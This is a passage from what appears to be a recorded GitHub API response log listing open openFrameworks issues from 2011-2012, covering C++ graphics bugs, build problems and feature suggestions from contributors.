\r\n\r\nNow I'm not saying drop the x and y member vars, but link them to the ofVec internals thorugh either a union or reference. A reference would be easy through the constructor:\r\n\r\n
\r\nclass ofRectangle {\r\n\r\n   public:\r\n\r\n     float &x, &y;\r\n     ofVec2f pos;\r\n     ....\r\n\r\n\r\nofRectangle::ofRectangle() : x(pos.x), y(pos.y) {\r\n\r\n...\r\n
\r\n\r\nThis way we get the best of both worlds without broken code ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/821","comments":3,"milestone":null,"number":821,"assignee":null,"closed_at":null,"title":"suggest: ofRectangle internal ofVec","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2011-11-26T20:19:31Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2356801,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/821"},{"updated_at":"2011-12-01T18:13:35Z","body":"i'm experiencing troubles in windows when i use a system file-opening dialog from openframeworks. after using it Data root path seems to get pointing to a wrong location, causing troubles e.g. true type fonts not loading.\r\nif I use the open-file dialog once again to open a file in root folder of the application, then the data path is reset correctly.\r\nusing ofSetDataPathRoot() doens't seem to fix the issue, or maybe I'm not using it correctly.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/819","comments":2,"milestone":null,"number":819,"assignee":null,"closed_at":null,"title":"datapath messed in windows after using file open dialog","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"created_at":"2011-11-22T10:50:13Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","id":614123,"avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2316595,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/819"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=7 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4976'), ('content-length', '50046'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"87fd13521b0dc2d60ee04eb082151549"'), ('date', 'Tue, 29 May 2012 06:43:39 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-02T15:19:58Z","body":"Had a talk with Theo about this. I think that it would be really nice if it were possible to #define/ pre-process macro if you want to exclude modules like ofVideoPlayer/ofSoundplayer in your app. \r\n\r\nThis would be super helpful for a couple of reasons.\r\n\r\nplugins that are not able to use the modules can exclude them without hacking the core.\r\nif you want to reduce the final size of you app and its not using something like ofVideoPlayer you dont need to add it.\r\n\r\nwhat do you think...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/818","comments":1,"milestone":null,"number":818,"assignee":null,"closed_at":null,"title":"#defines for modules ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2011-11-21T16:45:51Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":2306518,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/818"},{"updated_at":"2011-11-17T15:17:10Z","body":"Hello, \r\nRunning on MacOS 10.7 with XCode 4.1 I could not compile any of the examples in devApps, except for _DeployExamples. \r\nThe first error always encountered is: \r\n\r\n../../../libs/openFrameworks/utils/ofConstants.h:101:22: error: GL/glew.h: No such file or directory\r\n\r\nI tried both changing the paths of the include part in the code and dragging the GL folder that contains glew.h separately in the project, but neither worked. \r\n\r\nHelp please... \r\n\r\nThanks, \r\n\r\nIannis Zannos","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/815","comments":3,"milestone":null,"number":815,"assignee":null,"closed_at":null,"title":"Examples in devApps folder do not compile. Missing glew.h","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-11-17T13:45:47Z","state":"open","user":{"url":"https://api.github.com/users/iani","avatar_url":"https://secure.gravatar.com/avatar/8200f2533f23c9daaff63c4dba6f4819?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8200f2533f23c9daaff63c4dba6f4819","login":"iani","id":181956},"id":2268829,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/815"},{"updated_at":"2012-03-14T16:30:18Z","body":"Hello, \r\nIt took me more than 4 hours to get openFrameworks to compile deployExamples on MacOS X 10.7.2 with XCode 4.1, because of having to figure out two things; \r\n\r\n1. Need to change SDK for the deployExamples project definitions to 10.6\r\n2. Need to choose deployExamples in the build menu on the toolbar of the project window. \r\n\r\nPerhaps this info should be added to the readme.txt file of the present master branch in order to spare other people the hassle? \r\n\r\nI suggest the following addition: \r\n=====\r\nTo deploy openFrameworks examples from the files cloned via the present github repository, you should build and run the project: \r\napps/devApps/_DeployExamples/deployExamples.xcodeproj\r\n\r\nTo successfully compile in Lion (MacOS X 10.7) in XCode you should select in the project file list of XCode both the target deployExamples from the top level of the file hierarchy and the project openFrameworksLib.xcodeproj from inside the openFrameworks folder, then find the project definition, and change the SDK to MacOS X 10.6. You should do the same for the targets of those two items. \r\n\r\nImportant: Before clicking the Build and Go, or the Run button, make sure that you choose the deployExamples project in the menu on the toolbar of the project window. (Otherwise if you leave openFrameworks as selected project and push Run or Build and Run, no application will be created or run). \r\n\r\n\r\n=====\r\nHopefully this helps. \r\nCheers, \r\nIannis Zannos","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/814","comments":2,"milestone":null,"number":814,"assignee":null,"closed_at":null,"title":"Suggest adding some info about Lion to readme.txt","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2011-11-17T11:48:32Z","state":"open","user":{"url":"https://api.github.com/users/iani","avatar_url":"https://secure.gravatar.com/avatar/8200f2533f23c9daaff63c4dba6f4819?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8200f2533f23c9daaff63c4dba6f4819","login":"iani","id":181956},"id":2267854,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/814"},{"updated_at":"2011-11-16T04:46:48Z","body":"I'm trying this simple ofFbo example on OF 007, the system is Ubuntu Lucid, with an Intel 945 GPU.\r\n\r\n]//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n fbo.allocate(500, 500, GL_RGBA);\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n\r\n fbo.begin();\r\n ofClear(255, 255, 255, 255);\r\n ofSetColor(255, 0, 0);\r\n ofCircle(mouseX, mouseY, 100);\r\n fbo.end();\r\n\r\n ofSetColor(255);\r\n fbo.draw(0, 0);\r\n}\r\n\r\nI got a segfault in i915 dri, and any test using ofFbo leads to same results.\r\n\r\n\r\n#0 0x1bd3c36 _mesa_FramebufferRenderbufferEXT() (/usr/lib/dri/i915_dri.so:??)\r\n#1 0x80cc56a ofFbo::createAndAttachRenderbuffer(this=0x85b28e8, internalFormat=34041, attachmentPoint=33306) (../../../openFrameworks/gl/ofFbo.cpp:489)\r\n#2 0x80cc352 ofFbo::allocate(this=0x85b28e8, _settings=...) (../../../openFrameworks/gl/ofFbo.cpp:388)\r\n#3 0x80cc269 ofFbo::allocate(this=0x85b28e8, width=500, height=500, internalformat=6408, numSamples=0) (../../../openFrameworks/gl/ofFbo.cpp:363)\r\n#4 0x80562ec testApp::setup(this=0x85b28d8) (src/testApp.cpp:5)\r\n#5 0x8059ca6 ofNotifySetup() (../../../openFrameworks/events/ofEvents.cpp:73)\r\n#6 0x8056a23 ofAppGlutWindow::runAppViaInfiniteLoop(this=0xbffff2f8, appPtr=0x85b28d8) (../../../openFrameworks/app/ofAppGlutWindow.cpp:317)\r\n#7 0x80584cc ofRunApp(OFSA=0x85b28d8) (../../../openFrameworks/app/ofAppRunner.cpp:82)\r\n#8 0x8055bfc main() (src/main.cpp:14)\r\n\r\nany idea about what I should try or where the problem could be? has anyone experienced similar problems?\r\n\r\nthanks in advance to all","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/811","comments":1,"milestone":null,"number":811,"assignee":null,"closed_at":null,"title":"ofFBO causes segfault on Linux Ubuntu Lucid with i945 GPU","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-11-13T20:49:26Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","id":614123},"id":2223158,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/811"},{"updated_at":"2012-03-09T18:51:38Z","body":"Julapy and I were discussing how to do this on the forum http://forum.openframeworks.cc/index.php?topic=7852 and I think adding a flag to allocate for mipmaps to ofTexture and ofFbo would come in handy for some people.\r\n\r\n```c\r\nvoid ofTexture::allocate(int w, int h, int internalGlDataType, bool bUseARBExtention, bool generateMipmaps = false) \r\n{\r\n if( generateMipmaps )\r\n {\r\n glTexParameterf( texData.textureTarget, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_NEAREST );\r\n glTexParameterf( texData.textureTarget, GL_TEXTURE_MAG_FILTER, GL_LINEAR );\r\n glTexParameterf( texData.textureTarget, GL_GENERATE_MIPMAP, GL_TRUE );\r\n }\r\n```\r\n\r\nand in ofFbo\r\n\r\n```c\r\nstruct Settings {\r\n bool generateMipMaps; // or int\r\n}\r\n```\r\n\r\nI'd be happy to do this & submit a pull request too.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/810","comments":2,"milestone":null,"number":810,"assignee":null,"closed_at":null,"title":"Add flag for mipmapping in ofTexture/ofFbo","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2011-11-11T07:34:53Z","state":"open","user":{"url":"https://api.github.com/users/joshuajnoble","avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","id":237423},"id":2206980,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/810"},{"updated_at":"2011-12-03T23:58:48Z","body":"right now it's inside ofMath.h","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/800","comments":3,"milestone":null,"number":800,"assignee":null,"closed_at":null,"title":"ofInsidePoly should be a static method of ofPolyline","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-10-30T04:16:14Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":2089523,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/800"},{"updated_at":"2011-12-05T21:31:07Z","body":"ofRect very commonly has a little chunk missing from one corner.\r\n\r\nthere is also a discrepancy between the filled and outline rectangles. it's not clear whether the outline rect should be within the bounds of the filled rect, or enclosing the filled rect, and in practice it can be a little of both.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/798","comments":2,"milestone":null,"number":798,"assignee":null,"closed_at":null,"title":"ofRect isn't quite rectangular","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2011-10-29T06:38:43Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":2086039,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/798"},{"updated_at":"2011-10-29T02:37:28Z","body":"we're working on some ideas regarding procedural animation and posing:\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,7714.new.html#new\r\n\r\nwhich should be more powerful than playing back manual animations.\r\n\r\nintegrating it into the core would be ideal, but we're still trying to understand how it works.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/797","comments":0,"milestone":null,"number":797,"assignee":null,"closed_at":null,"title":"procedural posing of bones in ofxAssimpModelLoader","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-10-29T02:37:28Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":2085543,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/797"},{"updated_at":"2012-02-27T03:48:47Z","body":"this fails to display any text:\r\n\r\n\tofBackground(0);\r\n\tofSetColor(255, 254);\r\n\tofDrawBitmapString(\"this text is not displayed\", 10, 20);\r\n\r\nthis is because line 448 of ofBitmapFont.h reads:\r\n\r\n\tglAlphaFunc(GL_EQUAL, 1.0f);\r\n\r\nwhich should be changed to:\r\n\r\n\tglAlphaFunc(GL_GREATER, 0);","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/795","comments":0,"milestone":{"closed_issues":16,"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":795,"assignee":null,"closed_at":null,"title":"ofDrawBitmapString does not work with alpha","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-10-27T09:50:07Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":2066090,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/795"},{"updated_at":"2011-10-25T23:39:09Z","body":"\r\nThis should be user adjustable / on / off. it's sort of a drag to be using easy cam and trigger double clicks are you are interacting with a gui, etc.... \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/793","comments":1,"milestone":null,"number":793,"assignee":null,"closed_at":null,"title":"easyCam -- ability to disable doubleClick reset","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-10-25T23:36:40Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":2051692,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/793"},{"updated_at":"2011-12-03T23:53:12Z","body":"when drawing certain shapes i get crashes, debugger claims a tessellator issue pointing to \r\n\"if (!tessTesselate(cacheTess, polyWindingMode, TESS_POLYGONS, 3, 3, 0)){\" in \"performTessellation\" function in file ofTessellator.cpp ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/789","comments":1,"milestone":null,"number":789,"assignee":null,"closed_at":null,"title":"crashes with tessellator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-10-21T14:49:12Z","state":"open","user":{"url":"https://api.github.com/users/ruim","avatar_url":"https://secure.gravatar.com/avatar/18875575931764c674b5fc64ae8b7274?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"18875575931764c674b5fc64ae8b7274","login":"ruim","id":480525},"id":2016194,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/789"},{"updated_at":"2011-10-19T22:39:37Z","body":"would be useful as well. Perhaps an ofxMeshUtils would be in order for upcoming versions...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/787","comments":0,"milestone":null,"number":787,"assignee":null,"closed_at":null,"title":"half edge mesh structure extension of ofMesh","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-10-19T22:39:37Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","id":167271},"id":1999520,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/787"},{"updated_at":"2011-11-04T21:59:22Z","body":"would be quite useful","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/786","comments":1,"milestone":null,"number":786,"assignee":null,"closed_at":null,"title":"axis aligned bounding box tree for ofMesh","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-10-19T22:38:35Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","id":167271},"id":1999513,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/786"},{"updated_at":"2011-12-27T17:58:58Z","body":"I am loading in boujou camera data (translation and euler rotation), and I get really fine results when I do: \r\n\r\nglTranslatef(tx,ty,tz);\r\nglRotatef(rx, 1,0,0);\r\nglRotatef(ry, 0,1,0);\r\nglRotatef(rz, 0,0,1);\r\n\r\nbut when I create an ofCamera, and do: \r\n\r\nsetPosition(ofPoint(tx, ty, tz));\r\nsetOrientation(ofPoint(rx, ry, rz));\r\n\r\nI get strange results. I am wondering about ofNodes \"setOrientation\" and if it's really right in that the order is switched:\r\n\r\nsetOrientation(ofQuaternion(eulerAngles.y, ofVec3f(0, 1, 0), eulerAngles.x, ofVec3f(1, 0, 0), eulerAngles.z, ofVec3f(0, 0, 1)));\r\n\r\nalso, maybe I am mis interpreting what \"set orientation\" does. But I can't seem to get similar results with ofCam, even if I do, for example, \r\n\r\ncam.setPosition( tx,ty,tz);\r\ncam.rotate( rx, 1,0,0);\r\ncam.rotate( ry, 0,1,0);\r\ncam.rotate( rz, 0,0,1);\r\n\r\nI still don't get the same results as when I do it via opengl. This seems like a bug maybe with how ofNode handles rotation?\r\n\r\n(note , I am calling resetTranform() on the camera, so it's not an accumulation of rotations.... it's just that I can't seem to find a way to get ofCam to rotate in the same way as opengl commands). \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/785","comments":2,"milestone":null,"number":785,"assignee":null,"closed_at":null,"title":"ofCamera setOrientation gives odd results","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-10-19T11:16:42Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":1992818,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/785"},{"updated_at":"2012-03-09T11:46:35Z","body":"It seems to be happening pretty far in, if you put debug statements in touchesMoved in EAGL view, you will see that y is set to the x value of the touch.\r\n\r\nThis does not occur in debug mode, or in the simulator, and it has to be done with xcode4. I am running the newest ios5 beta as well.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/778","comments":2,"milestone":null,"number":778,"assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"closed_at":null,"title":"running an iphone retina app in release mode causes touch.x == touch.y","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-10-18T11:26:26Z","state":"open","user":{"url":"https://api.github.com/users/jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","id":1597},"id":1938472,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/778"},{"updated_at":"2011-10-16T18:30:08Z","body":"\r\nat the moment, the ofCamera draw calls ofNode, which does't really give you a clear indication of which way the camera is looking. even that is weird, because a camera looks on -z, and the node draw draws a line on positive z. \r\n\r\nI suggest we add something that draws a bit of a frustum (ie, fov, etc) and gives you a feeling about orientation. \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/774","comments":0,"milestone":null,"number":774,"assignee":null,"closed_at":null,"title":"ofCamera draw() should be more indicative of where the camera is facing. ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-10-16T18:30:08Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":1922704,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/774"},{"updated_at":"2011-10-12T15:09:29Z","body":"Currently we have:\r\n\tvirtual void draw(float x,float y)=0;\r\n\tvirtual void draw(float x,float y,float w, float h)=0;\r\n\r\n\tvirtual float getHeight()=0;\r\n\tvirtual float getWidth()=0;\r\n\r\nSince we're insisting that the user define a getWidth and getHeight, can I ask why we don't set the default of draw(x,y) to be\r\n virtual void draw(float x,float y) {draw(x, y, getWidth(), getHeight()) };\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/772","comments":0,"milestone":null,"number":772,"assignee":null,"closed_at":null,"title":"ofBaseDraws draw(x, y) default","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2011-10-12T15:08:55Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":1888302,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/772"},{"updated_at":"2012-03-14T15:11:08Z","body":"Greetings,\r\n\r\nI downloaded OF v.007 on my laptop running Vista SP2. I compiled and ran some of the example apps like imageLoader example using VS2010. \r\n\r\nTextures seem to be broken. Images appear as white slabs.\r\n\r\nI tracked it down and found that disabling ArbTex, with ofDisableArbTex(), will get the textures working again. \r\n\r\nUsing ArbTex worked fine in OF v0.62 on the same machine.\r\n\r\nLaptop:\r\nHP Pavilion dv600 Notebook PC\r\nManufacturer: Hewlett-Packard\r\nOperating System: Windows Vista Home Premium, Service Pack 2 (6.0.6002)\r\nPhysical Memory:\t 2037 MB\r\nProcessor: Intel Core2 Duo PU T5250 @ 1.5 GHz, 1.5 GHz\r\n\r\nCompiler:\r\nMicrosoft Visual Studio 2010\r\nInstalled Version: Professional\r\nMicrosoft Visual C++ 2010\r\n\r\nGraphics:\r\nGraphics: Intel Graphics Media Accelerator Driver for Mobile\r\nGraphics: Driver Version: 7.14.10.1244\r\nDirectX Version:\t10.0\r\nOpenGL Version 1.5\r\n\r\nHere's a full report of OpenGL info from GLview:\r\n\r\n\r\nRenderer: Intel 965/963 Graphics Media Accelerator\r\nVendor: 